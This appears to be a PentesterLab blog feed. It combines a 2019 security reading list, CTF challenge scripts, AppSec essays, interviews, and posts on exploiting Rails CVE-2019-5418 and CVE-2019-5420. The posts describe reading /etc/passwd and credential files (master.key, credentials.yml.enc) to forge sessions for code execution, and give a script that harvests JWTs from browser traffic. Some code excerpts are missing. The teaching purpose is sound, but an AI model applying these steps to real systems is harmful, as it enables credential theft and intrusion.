🗞️ https://www.reddit.com/r/crypto/comments/e8t17w/comment/faerj2m

🗞️ https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

🗞️ https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases

09/12/2019

🗞️ https://github.com/bkimminich/juice-shop/issues/1173#

🗞️ https://css.csail.mit.edu/6.858/2013/readings/plan9auth.pdf

🗞️ https://github.com/netanel01/ctf-writeups/blob/master/googlectf/2019/pwn_gomium/README.md

🗞️ https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html?m=1

02/12/2019

🗞️ http://blog.infosectcbr.com.au/2019/11/uclibc-unlink-heap-exploitation.html

🗞️ https://blog.teddykatz.com/2019/11/23/json-padding-oracles.html

25/11/2019

🗞️ https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/

🗞️ https://know.bishopfox.com/research/reasonably-secure-electron

18/11/2019

🗞️ https://tpm.fail/tpmfail.pdf

🗞️ https://serializethoughts.com/2019/10/28/solving-mstg-crackme-angr

🗞️ https://blog.infosectcbr.com.au/2019/11/avr-libc-house-of-spirit.html

11/11/2019

🗞️ https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html

🗞️ https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

🗞️ http://re.alisa.sh/notes/iBoot-address-space.html

04/11/2019

🗞️ https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

🗞️ https://lab.wallarm.com/race-condition-in-web-applications/

28/10/2019

🗞️ https://buer.haus/2019/10/18/a-tale-of-exploitation-in-spreadsheet-file-conversions/

🗞️ https://tagazok.virtualabs.fr/Workshop-How_to_use_btlejack.pdf

🗞️ https://cpdos.org

🗞️ https://www.shielder.it/blog/dont-open-that-xml-xxe-to-rce-in-xml-plugins-for-vs-code-eclipse-theia/

21/10/2019

🗞️ https://srcincite.io/assets/postscript-pat-and-his-black-and-white-hat.pdf

🗞️ https://hacks.mozilla.org/2019/10/firefoxs-new-websocket-inspector/

🗞️ https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/

14/10/2019

🗞️ https://theevilbit.github.io/posts/few_click_rce_via_github_desktop_macos_client_with_gatekeeper_bypass_and_custom_url_handlers/

🗞️ https://medium.com/sensorfu/how-my-application-ran-away-and-called-home-from-redmond-de7af081100d

🗞️ https://blog.redteam.pl/2019/10/internal-domain-name-collision-dns.html?m=1

07/10/2019

🗞️ https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/

🗞️ https://5alt.me/2019/10/HackMD%20Stored%20XSS%20and%20HackMD%20Desktop%20RCE/

🗞️ https://googleprojectzero.blogspot.com/2019/09/windows-exploitation-tricks-spoofing.html?m=1

30/09/2019

🗞️ https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all

🗞️ https://vavkamil.cz/2019/09/15/how-to-bypass-android-certificate-pinning-and-intercept-ssl-traffic/

23/09/2019

🗞️ https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/

🗞️ https://shhnjk.blogspot.com/2019/09/nonce-based-csp-service-worker-csp.html

🗞️ https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3

16/09/2019

🗞️ https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/

🗞️ https://blog.evilpacket.net/2019/leveraging-javascript-debuggers/

🗞️ https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d

09/09/2019

🗞️ https://medium.com/@prsecurity_/how-to-build-an-internal-red-team-7957ec644695

🗞️ https://alephsecurity.com/2019/09/02/Z3-for-webapp-security/

🗞️ https://www.synacktiv.com/posts/reverse-engineering/no-grave-but-the-sip-reversing-a-voip-phone-firmware.html

02/09/2019

🗞️ https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers

🗞️ https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html

🗞️ https://research.aurainfosec.io/same-origin-policy/

26/08/2019

🗞️ https://about.gitlab.com/2019/08/14/american-fuzzy-lop-on-gitlab/

🗞️ https://dttw.tech/posts/SJ40_7MNS

🗞️ https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/

🗞️ http://addxorrol.blogspot.com/2019/08/rashomon-of-disclosure.html?m=1

19/08/2019

🗞️ https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

🗞️ https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

🗞️ https://github.com/trailofbits/audit-kubernetes/blob/master/reports/Kubernetes%20White%20Paper.pdf

12/08/2019

🗞️ https://www.msreverseengineering.com/blog/2019/8/5/automation-techniques-in-c-reverse-engineering

🗞️ https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn

🗞️ https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf

🗞️ https://www.imperialviolet.org/2019/08/10/ctap2features.html

05/08/2019

🗞️ https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/

🗞️ http://blog.infosectcbr.com.au/2019/07/linux-heap-tcache-poisoning.html

29/07/2019

🗞️ https://www.synacktiv.com/posts/exploit/exploiting-a-no-name-freebsd-kernel-vulnerability.html

🗞️ https://blog.ropnop.com/docker-for-pentesters/

🗞️ https://medium.com/@iSecMax/сookie-based-xss-exploitation-2300-bug-bounty-story-9bc532ffa564

22/07/2019

🗞️ https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

🗞️ https://thezerohack.com/hack-any-instagram

🗞️ https://blog.assetnote.io/bug-bounty/2019/07/17/rce-on-zoom/

🗞️ https://hackerone.com/reports/587854

15/07/2019

🗞️ https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f

🗞️ https://medium.com/@princechaddha/account-takeover-on-airbnb-acquisition-an-unusual-bug-part-2-45fab11dc407

01/07/2019

🗞️ http://blog.ret2.io/2019/06/26/attacking-intel-tsx/

🗞️ https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/

24/06/2019

🗞️ https://medium.com/intigriti/how-spending-our-saturday-hacking-earned-us-20k-60990c4678d4

🗞️ https://alephsecurity.com/2019/06/17/xnu-qemu-arm64-1/

17/06/2019

🗞️ https://cryptosense.com/blog/how-ledger-hacked-an-hsm/

🗞️ https://citizenlab.ca/docs/stalkerware-holistic.pdf

🗞️ https://speakerdeck.com/andresriancho/internet-scale-analysis-of-aws-cognito-security

10/06/2019

🗞️ https://blog.cryptographyengineering.com/2019/06/05/how-does-apple-privately-find-your-offline-devices/

🗞️ https://blog.npmjs.org/post/185397814280/plot-to-steal-cryptocurrency-foiled-by-the-npm

🗞️ https://www.ee.oulu.fi/research/ouspg/Disclosure_tracking

03/06/2019

🗞️ https://code.fb.com/security/service-encryption/

🗞️ https://www.chromestatus.com/feature/5088147346030592

🗞️ https://docs.google.com/presentation/d/1b955DV2ii-Dgv6YR4kUrJtjGugEqXD3FffTHRfvVSYo/mobilepresent?slide=id.g4525dccad7_0_0

🗞️ https://arxiv.org/abs/1905.13055

27/05/2019

🗞️ https://github.com/veorq/cryptocoding/

🗞️ https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big

20/05/2019

🗞️ https://guidovranken.com/2019/05/14/differential-fuzzing-of-cryptographic-libraries/

🗞️ https://eprint.iacr.org/2019/459.pdf

🗞️ https://leakfree.wordpress.com/2015/03/12/php-object-instantiation-cve-2015-1033/

13/05/2019

🗞️ https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere

🗞️ https://anvilventures.com/blog/looking-inside-the-box.html

06/05/2019

🗞️ https://www.synacktiv.com/ressources/GLPI_9.4.0_Type_juggling_auth_bypass.pdf

🗞️ https://securityriskadvisors.com/blog/aws-iam-exploitation/

29/04/2019

🗞️ https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research

🗞️ https://medium.com/@somdevsangwan/how-i-found-5-redos-vulnerabilities-in-mod-security-crs-ce8474877e6e

🗞️ https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/

22/04/2019

🗞️ https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf

🗞️ https://gitlab.com/cybears/fall-of-cybeartron/

15/04/2019

🗞️ https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/

🗞️ https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html

🗞️ https://medium.com/starting-up-security/starting-up-security-policy-104261d5438a

08/04/2019

🗞️ https://blog.filippo.io/a-literate-go-implementation-of-poly1305/

🗞️ https://medium.com/@terjanq/how-i-am-able-to-hijack-you-1cab793a01d1

🗞️ https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-2018-9468-cve-2018-9493-cve-2018-9546/

🗞️ https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html

01/04/2019

🗞️ https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/

🗞️ https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/

🗞️ https://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/

25/03/2019

🗞️ https://blog.assetnote.io/bug-bounty/2019/03/19/rce-on-mozilla-zero-day-webpagetest/

🗞️ https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

🗞️ https://tosc.iacr.org/index.php/ToSC/article/view/892/843

18/03/2019

🗞️ https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50

🗞️ https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html?m=1

11/03/2019

🗞️ https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767

🗞️ https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html

🗞️ https://mobile.twitter.com/rootxharsh/status/1104068814810087424 ]]> Thu, 02 Jan 2020 00:00:00 +0000 https://pentesterlab.com/blog/articles-worth-reading-from-2019 https://pentesterlab.com/blog/articles-worth-reading-from-2019

require 'chrome_remote'
require 'base64'

chrome = ChromeRemote.client

# Enable events 
chrome.send_cmd "Network.enable"
chrome.send_cmd "Page.enable"

# Setup handler to log network requests
chrome.on "Network.requestWillBeSent" do |params|
  if params["documentURL"] =~ /eyJ.*\.eyJ.*\./
    puts "documentURL"
    puts params.inspect
  elsif params["postData"] =~ /eyJ.*\.eyJ.*\./
    puts "postData" 
    puts params.inspect
  else
    params["request"]["headers"].select{|k,v| v =~ /eyJ.*\.eyJ.*\./ }.each do |k,v|
      puts k,v
      puts params.inspect
    end
  end
  cookies = chrome.send_cmd("Network.getCookies", params["documentURL"])["cookies"]
  cookies.select{|cookie| cookie["value"]=~ /eyJ.*\.eyJ.*\./ }.each do |cookie|
    puts cookie
    puts params.inspect
  end
end

chrome.listen
view raw

Once you get the data, you can just send it via a queue to your fuzzer(s) and start attacking the application in real time.

One of the issue you run into (easy to solve) is that the Network API doesn’t give you access to the cookies as part of the headers. But you can still get access to them via Network.getCookies and add them to the request before adding the request to the queue. All together I think that is likely going to be a nice tool in a Bug Hunter arsenal.

When building a Capture-The-Flag (for a conference), you need to have a good mix of very easy challenges and very hard challenges. You need to get people playing for the first time some easy wins to encourage them to dig deeper but you also need to keep the hardcore teams busy for a while.

In this post, I will share four examples of simple challenges created for the amazing conference Christchurch Con (kudos to the organisers for putting together such a great con). These challenges are by design very simple and you can adapt them for your CTF for a conference or just to have fun at work. One of these challenges was the most often solved challenges during the conference.

Challenge 1

To host this challenge, you just need a simple web server. When you visit the page, you can see the following:

The source code of the page gives up the flag pretty quickly:

<html>
<h1>It Works!</h1>

<svg width="500" height="500">
  <text x="0" y="15" fill="red">THE FLAG IS</text>
  <text x="100" y="15" fill="red">flag{platypus-PR7R8zkGKVrmZvTQ}</text>
  <rect width="300" height="20" style="fill:rgb(0,0,0);stroke-width:3;stroke:rgb(0,0,0)" x="100" y="0" />
</svg>
</html>

The code above is just an embedded SVG with the flag behind a black rectangle.

Challenge 2

The second challenge was very similar but with a PDF this time, you can find the code to generate it below:

require "prawn"

Prawn::Document.generate("hello.pdf") do
  text "The flag is flag{axolotl-RFW8Zpt8v0U12Uez}!"
  fill {rectangle [57,724], 200, 20}
end

# gem install rmagick
require 'rmagick'

name = Magick::Image.new(1280, 720) do
  self.background_color= "Transparent"
end
name_text = Magick::Draw.new
name_text.annotate(name, 0,0,0,0, "The FLAG is\nflag{horse-W81cALar36yN4GQz}") do
  self.pointsize = 74
  self.font =  "Magistral.TTF"
  self.gravity = Magick::CenterGravity
end


name.write "full.png"
img = Magick::Image.read('full.png')[0]

10.times do |i|
  puts i
  z = img.crop( Magick::NorthWestGravity, i*128, 0, 128,720)
  z.write("#{i}.png")
end

# gem install rmagick
require 'rmagick'

name = Magick::Image.new(1280, 720) do
  self.background_color= "Transparent"
end
name_text = Magick::Draw.new
name_text.annotate(name, 0,0,0,0, "The FLAG is\nflag{cat-lGkLa1Xh6g3fjObA}") do
  self.pointsize = 74
  self.font =  "Magistral.TTF"
  self.gravity = Magick::CenterGravity
end


name.write "full.png"
img = Magick::Image.read('full.png')[0]

names = (0..9).to_a.shuffle
10.times do |i|
  puts i
  z = img.crop( Magick::NorthWestGravity, i*128, 0, 128,720)
  z.write("#{names[i]}.png")
end

You now have 4 challenges you can use for your CTF (or modify to improve them). Have fun!

One of the common advice when trying to improve security at scale is to invest in QA. In this article, we are going to cover some aspects of it.

If you are looking for more application security-related content, make sure you check our previous article on Building Blocks.

Add some negative test cases

The simplest and most common advice around adding security using QA is to get your dev[ops] teams to write some negative test cases.

For example, let say you have a login page. Your test cases will most likely include:

• I can access the login page
• I can log in with a correct email address and password

• I cannot log in with an incorrect email address
• I cannot log in with an incorrect password and a correct email address
• I cannot log in with an empty password
• I cannot log in with a NULL password (think LDAP backend)
• …

These very simple test cases will ensure that you don’t have a terrible vulnerability in your login functionality. Furthermore, it’s very quick to do!

These test cases will also most likely be owned by the dev[ops] teams so they don’t incur any overhead for the security team.

Get your QA team to do some testing

Another way to get your QA team involved is to teach them some “hacking 101”. This can be very simple:

• They go through their usual tests using a proxy like ZAP or Burp
• Once they are done, they just click scan.
• They can then either look at the results or forward them to you.

You can imagine writing a very simple Burp extension to get those results directly to you or to an application that will do the triage for you.

The more time you will invest in teaching “hacking 101”, the more return on investment you will get. Even if you only really need to teach detection, it’s always a good thing to add a bit of exploitation to spice things up.

Just invest in QA!

If you check how much time it takes for a fix to go from git to your production environment, you will get an idea of the bottlenecks (security may be one). If this process takes too long (think a few days), you most likely have a QA issue: people are afraid to make changes.

The time you measured is the minimum time it will take to get a fix to production (unless it’s an emergency fix). If dev[ops] teams are afraid of changes, a lot of bad things happen:

• They don’t update libraries.
• They don’t update the underlying OS.
• They move to micro-services only to avoid making the changes they are afraid of.
• …

This is why as a security team, it can be worth investing in QA just for the sake of making deployment faster. If your dev[ops] teams are afraid of making changes, they will be afraid of fixing even the simplest bug. Making changes should be easy, predictable and boring. And to make changes easy, predictable and boring, you need good coverage. That’s why you should invest in QA.

I hope this short article gave you some idea on how investing in QA can improve the security of your application and allow your security team to scale.

Since it’s something I’m really passionate about, I have decided to spend more time writing about application security at scale.

Today I’m going to cover one of the things that can help an application security team save a lot of time: Building Blocks.

In many organisations, multiple development teams will often need to perform the same thing (especially with µ-services):

• Authentication layer
• Authorisation
• Rendering
• Sending information in a queue
• Save files in s3/GCP/…
• …

The problem is that every team is likely to come up with their own solution using their own languages/framework/… and the cost for the security team (and the development teams) increases with each solution. The application security team find itself reviewing the same type of code again and again. Often, the same mistakes are made and the same recommendations always follow:

• More input filtering.
• Better block mode for encryption.
• Better default value.

The trend of Resume-Driven Development making this even worst.

To avoid repeating the same reviews (which can be pretty boring too), an application security team can work with other teams (dev, ops, devops,compliance…) to build “Building Blocks” that can be reused by everyone.

These “Building Blocks” will be thoroughly reviewed by the security team and consider “secure”. They can then be provided as libraries to all the development teams.

Creating these blocks will help teams scale up as and the security team won’t have to review the same code again and again. It will also lower the consulting effort (read: meetings), as you won’t have to provide each team with Best Practice for X, you can just tell them to use the “Building Block X” that already include all the best practices, has been reviewed and is supported by all the other teams (including the ops team that on call).

Building the blocks

The blocks don’t have to be complex, they also don’t have to (shouldn’t) be created by the security team. They can just be open source components reviewed by the security team and packaged in a secure way (think smart default). The security can also finance the development of these blocks: the security team uses its budget to pay for the development of a block (or part of it).

To make things easier, the building blocks should be versioned. This will allow all teams to quickly know what applications are using old blocks.

Promoting

One of the ways to promote the building blocks is first to not build them in isolation. You need to get everyone involved: architects, developers, QA teams, Ops. To ensure a broad adoption, these blocks should benefit every team:

• They should follow the architects’ visions.
• They should be easy to develop with (and elegant) for developers.
• They should be easy to test for the QA team.
• They should be easy to debug for Ops.

The security team should also communicate why these blocks are so valuable for them: it is their way of scaling. If other teams don’t want to use the blocks, they should have a good reason and they should understand that the security review of their software will take more time and may not be prioritised.

Examples of blocks

Blocks don’t have to be complex and don’t have to be big. You can find below some examples of blocks:

• Encryption at Rest
• Encryption with an HSM
• Using Queues (encryption of information transmitted, TLS for connection to the queue)
• Database access

You can also see these “Building Blocks” as a way to make sure the security team is involved in everything that will shape the future of development in the organisation:

• New micro-service patterns
• New language or framework adoption
• New technology (MQ, GraphQL, Serverless) or pattern.

Adding a layer to the blocks

A final thing that could be beneficial is to add another layer to a block to make sure the interface stays constant even if the library underneath changes. This thin layer can also be used for additional/unified logging as well as error-proofing the block.

Deep dive in a block

Let’s say we want to create an authentication block for our default µ-service template. The financing of the block can be split between development teams (creating the template) and the security team (smart default, error proofing…). We want this block to use JWT (sic.).

The first version of the block can just be a packaging of the most commonly used library (by the organisation) used for JWT in the language picked. The first version gets reviewed by the security team and can be used by everyone. This version only allows developers to use the secure functions/methods available for this library (think verify() vs decode()).

The second version adds to the thin layer on top of the JWT library. For example, it will enforce the strength of the secret used to sign the token (to avoid offline brute force attacks) and enforce the algorithm (to avoid confusion attack). It also adds some extra-logging that goes directly to the security team: for example when a signature is invalid.

Since the security and ops teams pushed really hard to deploy Vault by HashiCorp, all the secrets are now centralised in Vault and decrypted at runtime by the library. All of this without creating any changes for the development teams. The versioning is also allowing the security and ops team to know who is not using Vault yet

Conclusion

I hope this quick blog post convince you of the importance of using blocks if you want to scale the impact of your security team. Finally, building these blocks will also help to create relationships between teams. These relationships are often critical to solve complex problems and during incidents. Thanks for reading!

If you follow PentesterLab on Twitter, you probably saw the following tweet:

You may also have come across the following blog linked as part of the “worth-reading” articles for last week: https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

This article is really interesting but stops exactly when things get interesting…

How does Rails go from:

to:

When reading the code involved in the template resolver, you will come across the following code:

This code is both genius and crazy… and I won’t be surprised if it brings more vulnerabilities in the future…

The resolver uses the Ruby method Dir that relies on a glob. So you can provide a glob and use characters like *, ? … A good way to bypass any filter on /etc/passwd:

Now, the important part, the thing only a few people are talking about:

In production mode, Rails aggressively caches views and you basically need to wait for a restart of the server if you want to get another file. You may get lucky and:

• The server may be redeployed daily.
• The application is load-balanced and you can hit a different server.
• You use the DOS (CVE-2019–5419) that got published at the same time (!stealthy)

The real issue is the most likely way to get remote command execution with this bug is to:

1. have the application running with the :marshal serialiser.
2. get the file config/credentials.yml.enc for the list of encrypted credentials
3. get the file config/master.key to be able to decrypt config/credentials.yml.enc
4. forge your own session with the RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN from @bitcoinctf

Since you need to download two files (step 2 and 3) you will need to wait for the cache to get cleared…

Basically, most people trying to get this payload to work, only do it in development mode and are up for a surprise when attacking real applications!

After a bit more work with @bitcoinctf, it’s possible to use a race condition (if you are the first one exploiting the issue) to get multiple files served at the exact same time (but you only have one shot):

In this short article, I’m going to discuss a little bit on the exploitability of CVE-2019–5420.

Ruby-on-Rails offers three different environments it can run in: development, test and production. You should obviously not have code running in development or test available on the internet but it (as always) happens (for example in staging environments).

Ruby-on-Rails uses “signed-sessions” to allow people to easily scale their applications. Over time, the way the sessions were handled changed. With 5.2.2, sessions are JSON encoded data that is protected using AES GCM (aes-256-gcm) by default.

CVE-2019–5420 is actually very simple. The key used to encrypt sessions can be guessed (or brute forced) in development mode as it is based on the name of the application. This issue can potentially be used to gain code execution (RCE) according to the advisory.

However, over the years the security of Rails has kept improving and sessions don’t use marshal like they used to. With JSON, you can no longer get code execution as there is currently no known way to get from JSON to code execution (as opposed to going from marshal to code execution). That’s why defence-in-depth is so important, always be more than one bug away from a disaster!

Always be more than one bug away from a disaster!

But, you can still forge a valid session since you have the key to decrypt/encrypt the sessions…

Or can you?? Another thing that greatly improves the security of Ruby-on-Rails applications is its ecosystem. Most people writing Rails applications use the same gem/library to manage authentication: devise.

If we look at the methods used to serialize/deserialize a user/record into a session, we can see a field named salt:

And we can see the salt is also verified as part of the deserialization of the session. In short, you need both the user ID as well as the matching salt to become that user.

By looking at what the salt actually is:

You can easily see that you’re hopefully going to have a hard time guessing that value for another user (the password being“encrypted”/hashed using bcrypt). It also doesn’t really make sense to tamper with the session if you managed to find the password. Again, a very simple safeguard greatly limits the impact of this bug!

The exploitation of this issue with a non-devise session management is available for PentesterLab PRO subscribers. The exploitation of this issue to get RCE using marshal is also available as PRO exercises in PentesterLab.

Tell me a bit more about yourself? Current occupation? Aspirations? Twitter?

I run my own security business called Shea Information Security and I’m @pamoshea on twitter. We are a security consulting company based out of Melbourne, doing penetration testing and security consulting for our clients.

My aspirations are to see more women working in technical security roles. To help progress this I spend a lot of time running haXX (@haxx_group), which is a learning group providing free technical security classes for women who wish to break into the technical security field. If you want to learn tech, you just have to type enough kilometres on the keyboard!

How did you get into computing/security?

I was super lucky as a kid, my father worked at Wang Laboratories and had a side business of building computers from scratch. From a young age of about 11, I was helping my father make custom desktop builds for his business. We were putting in RAM, CPUs, hard disks and cabling it all up in little assembly lines with my siblings, and then testing they booted into an OS like Windows 3.1 or DOS. So I guess I started on the hardware side. Living in the country in the middle of nowhere it was hard to find tech people but I really really wanted to learn how to code. A typical Irish story but my father met a farmer in the local pub whose son was an embedded C programmer, so I got a list of topics to study from him, bought C by example and I was hooked from there. Once I found IRC in the mid 90s I discovered the security channels and was hanging out with lots of interesting people, installed Linux from a CD-ROM in a book and started playing wargames online. Once I read TCP/IP Illustrated volume 1, I was hooked on security too and instead of doing homework I was learning as much about the Internet as possible.

What is your current setup? Computer? OS? …?

I like using Ubuntu because I do some software defined radio (SDR) related research (Pamela co-organises the Melbourne’s SRD meetup @sdr_melbourne), a lot of these radio packages just work out of the box from the apt repos now. I use Dynamic Window Manager (DWM) for my window manager and VIM for editing (I used to be an EMACS user — that’s another story!).

How do you use PTL PRO?

At work we use PentesterLab PRO internally to keep up to date but also recommend it to our clients.

I also lecture on the masters in cyber security programme at RMIT University and run free penetration testing classes for women (@haxx_group).

I love PentesterLab for classroom exercises as its progressive style fits very well for hands on exercises. After classes, students are then ready to move onto Pentesterlab PRO.

For learning as well as teaching, we cannot recommend PentesterLab more highly. We see developers who try it for the first time and love it, getting hooked on the sense of achievement working through the challenges and being able to work more closely with their security teams as a result.

What have been your favourite exercises so far?

I had fun doing the JWT exercises, especially with abusing the “kid” field. The serialisation exercises are excellent and I love seeing challenges related to new technology pop up too, for example GraphQL.

What exercises did you find the most challenging?

The CTF ones! These are super handy because I enjoy dabbling in CTFs when I have time at weekends and coffee can only do so much :P

What exercises/areas do you think PentesterLab should cover in the future?

Some editor and parsing issues. For example, editor bugs where you see weird syntax being used and ways to achieve execution from this or bypassing their filters.

Parsing issues such as intermediate devices like virus scanners, cache servers etc.

Also, more authentication issues like OAuth implementations and SAML.

To be honest, there is so much on PentesterLab PRO already, it will keep you entertained and challenged for a very very long time!

One of the questions I often get asked is whether or not I recommend going to university/engineering school/… or to get an entry level job and start hacking.

A lot of people think that formal education isn’t necessary anymore as you can learn everything online or when you need it. And in a lot of countries (USA, Australia,…), higher education comes at a very high cost.

TLDR: my advice is to do it if you need it and can afford it.

I think it mainly comes down to two questions:

• Do you need it?
• Can you afford it?

Disclaimer

When reading this article, keep in mind two things: I studied in France (very cheap and high-quality education around 15 years ago) so your experience may differ…

Do you need it?

Not everyone learns in the same way. Some people are really good at learning on their own and don’t need a lot of hand-holding. Others may have more difficulty or just need the “soft-pressure” of being accountable. If you find that you can learn on your own, or even that you have difficulty fitting within the traditional education system, self-learning, and an entry job may be a better option for you.

However, don’t underestimate what you get from going to university. You will learn things that you may not have or not want to learn that could be very beneficial in the future (soft skills, other disciplines…). You will also meet a lot of like-minded people (I know of someone who used to say that formal education was a waste of time but created his first startup with people he met at university ironically). If you’re the kind of person that makes a lot of friends at hacker conventions/meetup, you may not care as much but it’s definitely something to keep in mind.

You may get lucky and meet people at school who will change how you learn or even what you want to do in life. It can be a very inspirational teacher that get you passionate about a subject or just few people who study with you. When I applied to the engineering school I went to, I wanted to work on Open Source Embedded Systems. One year in, I knew security was my thing!

Long story short, there is more to school than the hours you spend in class!

You also need to keep in mind that for some jobs (big companies, government…) having a degree makes things easier. Furthermore, it may help you with immigration if you want to move to another country in the future.

Can you afford it?

In some countries, studying will get you into a huge amount of debts. You should hopefully land a sweet-paying InfoSec job but it may take a while and debt is never something to take lightly (you should look at hacking your personal finance as well as computers). If you are lucky to live in a country with an affordable education system (or if you have a way to pay for your education without getting into huge debt), you should probably take that chance. Otherwise, make sure you understand how much it’s going to cost you (financially and time-wise) and see how this cost will impact you in the long run.

Final notes

Unless the university you want to study at has an awesome (as in taught or recommended by industry professionals) curriculum, you may want to avoid a degree in information security. Look at degrees in computer sciences, statistics, advanced mathematics, cryptography… something actually hard to learn on your own. You can learn about information security in your spare time (if you are very passionate). And having a broader knowledge will help you become a better security professional. While you are at university, spend time doing bug bounty, follow the work of known security researchers and write some code.

Finally, this is your decision. Don’t let people pressure you into one way or another. Make sure you don’t pick the easiest solution just because you are lazy, you may get disappointed in the future. Finally, if you cannot afford to go to university, there are plenty of ways to get in the industry too, we will cover this in another blog posts.

Further readings:

• Happy Hacking: http://phrack.org/issues/68/7.html
• Career advice from Moxie Marlinspike: https://moxie.org/2013/01/07/career-advice.html

Tell me a bit more about yourself? Current occupation? Aspirations?

I’ve been playing with computers for a while now, until I discovered how fun it was to break them. I’ve working as a penetration tester / security engineer for about 6 years now, and I started learning security as most of people in our field before the boom of the cybersecurity world, by self-learning.

I remember that before platforms like PentesterLab appeared, people had to look for a vulnerable target outside on the internet and try whatever they wanted to try on it. Also, most of the times, you would learn that whatever you tried worked, but some of the concepts around the vulnerability being exploited weren’t learned properly. PentesterLab addresses this perfectly, it allows you to exploit, understand and learn about the technologies and vulnerabilities that may be affecting them.

How did you come across PentesterLab PRO?

I tried PentesterLab personally, and I found it was a great way of properly understanding why the vulnerabilities are introduced in the code and or the systems. This is why I’ve been recommending everyone I know to give it a try, and if your company has technical people that can take advantage of this, why not getting it?

What have been your favourite exercises so far?

The Cipher block chaining one. My weakest point has always been cryptography, and this exercise, the explanation and the exploitation allowed me to understand what CBC misuse may imply in a real system.

Do you do bug bounty? and if yes, did PentesterLab help you

Yeah, I’ve been spending quite some time in bug bounties, with a little bit of luck in programmes like Uber or Github. I plan to get ideas from PentesterLab that will allow me to try some more creative ways of exploiting systems and applications that I saw in the past and haven’t been able to exploit.

What exercises/areas do you think PentesterLab should cover in the future?

There are other services that give you OSCP-like environments, so I would say that some other material such as good coding practices, hardening of well-known frameworks, etc. Something more focused on developers or people not completely dedicated to security.

Where can people follow your progress?

I have a Twitter account at @BBerastegui and maybe on LinkedIn too: https://www.linkedin.com/in/bberastegui/

Tell me a bit more about yourself? Current occupation? Aspirations? Twitter?

I’m Robert Kugler (@robertchrk), a 22 year-old penetration tester & technical project manager at Cobalt. I started learning web & application security at the age of 14, two years later I got my first CVE issued for a vulnerability in Firefox.

How did you come across PentesterLab PRO?

Cobalt introduced me to PentesterLab PRO and I had a lot of fun going through some of the exercises.

What have been your favourite exercises so far?

I really liked the serialize badge and especially the API to shell challenge was a lot of fun. Every penetration tester should be familiar with serialization vulnerabilities and this makes it one of the most important badges to earn.

Can you tell me more about Cobalt and how PentesterLab helps you training your new researchers?

At Cobalt, we have built a best in class Pen Testing as a Service (PTSaaS) platform which provides on-demand pen testing by connecting you to top security researchers around the world. Our researchers get access to PentesterLab to make sure they’ve access to one of the best information security education services. Working in information security requires a constant drive to learn otherwise you won’t be able to stay ahead of the game that’s why we’re using PentesterLab!

Tell me a bit more about yourself? Current occupation? Aspirations?

I started using PentesterLab at around 2014. At that point of time, I was a complete newbie to the security scene — I knew nothing about what XSS was, or SQL Injection, or any of the typical techniques a security person ought to know. It was then I started doing the Web for Pentester series (back when they were just offered as .iso files) and was hooked on to the exercises; the challenges were well paced and I really found myself learning a lot, stumbling a lot, but then getting back up and eventually solving a lot. What I really appreciated was that it was free — so even as a student, I had access to these materials that proved invaluable to my development as a security professional. I would say PentesterLab has been an integral part of my journey in security, and so I am more than happy to recommend you guys to anyone who’s new out there!

